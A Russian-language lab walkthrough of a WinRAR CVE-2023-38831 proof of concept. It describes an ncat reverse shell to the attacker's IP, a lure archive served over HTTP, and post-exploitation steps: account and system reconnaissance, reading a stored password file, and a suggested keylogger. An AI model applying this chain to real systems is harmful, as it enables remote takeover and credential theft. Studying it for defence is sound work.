
POC-демо для CVE-2023-38831
POC-демонстрация CVE-2023-38831
Краткое описание уязвимости
Как работает уязвимость?

Первая часть эксплуатации
Первая половина будет проходить на машине атакующего для начала эксплуатации.

1) Во-первых, нам нужно создать папку эксплуатации, содержащую вредоносное вложение, «pdf», python-код эксплойта и bat-скрипт, с помощью следующей команды: «git clone https://github.com/HDCE-inc/CVE-2023-38831»

2) Вот что содержится в папке до начала эксплуатации:

3) Узнаём IP-адрес машины Kali через ifconfig:

4) Затем мы изменим существующий скрипт в script.bat на следующую командную строку (на изображении выше)
«start» запускает процесс командной строки, «/min» сворачивает командную строку в фоновый режим, ncat устанавливает соединение с IP-адресом атакующего через порт 4444, и, наконец, -e cmd.exe выполняет команду в командной строке.

5) Здесь поясняется следующий код exploit.py:
1 относится к пользовательскому вводу: имя файла-приманки — document.pdf, имя скриптового файла — bat.script, а также имя выходного RAR-файла, как его увидит жертва; в данном случае мы сохраним его как getrich.rar.
2 относится к проверкам, выполняемым для подтверждения того, что файлы в папке CVE-2023-38831 на машине Kali Linux существуют и имеют правильные имена; если имя неверное или файл дублируется, будет выведено сообщение об ошибке, и программа остановится и завершится.
3 относится к созданию временного файлового каталога с помощью os.mkdir() для хранения созданного файла перед сжатием в архив и использования в качестве рабочей области.
4 относится к строке копирования shutil.copyfile, которая копирует файл-приманку и скриптовый файл в соответствующие каталоги внутри «tmp», чтобы убедиться, что все необходимые файлы находятся на своих местах перед переходом к следующему шагу. На следующем шаге shutil.make_archieve создаёт архив из «tmp» под названием «tmp.zip», который содержит всё, что находится в папке «tmp».
5 относится к успешному выполнению приведённого выше кода и созданию RAR-файла в качестве эксплойта на основе пользовательского ввода имени файла-приманки, скриптового файла и имени выходного файла.

6) После получения нашего IP-адреса и изменения bat-скрипта мы можем приступить к созданию вредоносного «.rar» с помощью команды «python exploit.py».
exploit.py потребует от пользователя ввода в 3 поля: имя существующего файла-приманки — document.pdf, имя скриптового файла, который мы изменили ранее, — script.bat, и имя выходного RAR-файла, чтобы заманить жертву и заставить её загрузить и кликнуть на файл; для этого требуется подходящее имя, и в данном случае мы использовали «steps-to-generate-income.rar». Затем CVE-2023-38831 готов к эксплуатации машины жертвы.
Вторая часть эксплуатации
Вторая половина будет проходить как на машине Kali, так и на машине жертвы, которая представляет собой VM с Windows 11.

1) Сначала мы либо создадим вредоносный веб-сайт, либо отправим вложение жертве.
Слева мы выполним «python -m http.server 8080». Эта команда позволяет отслеживать, какой IP-адрес обращается к этому вредоносному URL, благодаря чему мы можем узнать IP-адрес жертвы, и прослушивает различные HTTP-запросы, например «200», от конкретного IP-адреса. Справа жертва заманивается на этот IP-адрес и побуждается загрузить файл «steps-to-generate-income.rar».

2) Как только жертва успешно заманена и загрузила вредоносный файл «steps-to-generate-income.rar», будет показано, какой IP-адрес загрузил файл и в какое время. Из этой информации мы можем получить IP-адрес жертвы.

3) Затем мы запустим ncat на порту 4444 на машине Kali, поскольку порт 4444 должен совпадать с портом, указанным в script.bat, который будет выполняться на машине жертвы.
Как только жертва кликнет на document.pdf, bat.script запустит командную строку и свернёт её в фоновый режим, что позволит атакующему установить бэкдор-соединение.

4) Затем мы сможем выполнять различные команды на машине жертвы, например «C:\Windows», а затем «dir», чтобы вывести список всех хранящихся exe-файлов.
Первая команда, выделенная как «1», — «net user», чтобы посмотреть, сколько учётных записей существует; из этого можно сделать вывод, что есть только одна учётная запись W11.
Вторая команда, выделенная как «2», — «systeminfo», чтобы узнать больше о машине жертвы и о том, какими привилегиями обладает пользователь; в данном случае это права администратора.
Третья команда, выделенная как «3», — навигация по случайным папкам; в данном случае мы выполним команду «C:\Users\W11», затем «dir», чтобы узнать, какие файлы и папки там находятся, затем «C:\Users\W11\Documents», затем «dir», чтобы узнать содержимое каталога Documents; нам повезло, что пользователь сохранил свой пароль в notepad.txt. Затем мы выводим содержимое этого блокнота в командной строке, чтобы раскрыть детали: «type secret.txt». Результат показывает, что с помощью этой командной строки мы можем читать, записывать и редактировать файлы на машине жертвы, а также выполнять дальнейшие действия, например устанавливать кейлоггер, чтобы сделать машину жертвы более уязвимой и открытой для раскрытия более чувствительной информации.

5) Наконец, мы можем создать файл блокнота на рабочем столе пользователя, выполнив следующую команду
«echo "You've been hacked, please go to testingwebsite" > C:\Users\W11\D\hacked.txt» — и на рабочем столе пользователя будет создан hacked.txt, чтобы показать жертве, что её машина была взломана.
Deland-Han. (2014, February 19). Библиотека динамической компоновки (DLL) — Windows Client. Microsoft Learn. https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/dynamic-link-library
Gillis, A. S. (2023, September 26). Принцип минимальных привилегий (POLP). Security. https://www.techtarget.com/searchsecurity/definition/principle-of-least-privilege-POLP
GmbH, W. (б.д.). Вышла финальная версия WinRAR 7.00. Новости WinRAR. https://www.win-rar.com/singlenewsview.html?&L=0&cHash=c5bf79590657e32554c6683296a8e8aa&tx_ttnews%5Btt_news%5D=232
Lab, S. (2023, September 26). Анализ Zero-Day уязвимости CVE-2023-38831 в WinRAR. Penetration Testing and CyberSecurity Solution — SecureLayer7. https://blog.securelayer7.net/analysis-of-cve-2023-38831-zero-day-vulnerability-in-winrar/
Patch management: benefits and best practices | Balbix. (2022, October 22). Balbix. https://www.balbix.com/insights/patch-management-benefits-and-best-practices/
Research, U. T. (2023, November 17). Уязвимость CVE-2023-38831 в WinRAR: эксплойты вредоносного ПО и APT-атаки. https://www.uptycs.com/blog/cve-2023-38831-winrar-zero-day
Slavin, B. (2024, March 18). Типичные проблемы DMARC, с которыми сталкиваются пользователи | DMARC Report. DMARC Report. https://dmarcreport.com/blog/common-dmarc-problems-faced-by-users/
ThreatLocker. (2023, September 11). Удалённое выполнение кода в WinRAR. ThreatLocker. https://www.threatlocker.com/blog/winrar-remote-code-execution
Traders’ Dollars in Danger: CVE-2023-38831 zero-Day vulnerability in WinRAR exploited by cybercriminals to target traders. (2023, August 23). Group-IB. https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/
Vulnera. (2023, November 16). DarkCasino: новая APT-угроза, использующая уязвимость WinRAR — VULNERA. VULNERA — Управление уязвимостями. Упрощённо. https://vulnera.com/newswire/darkcasino-a-new-apt-threat-leveraging-winrar-vulnerability/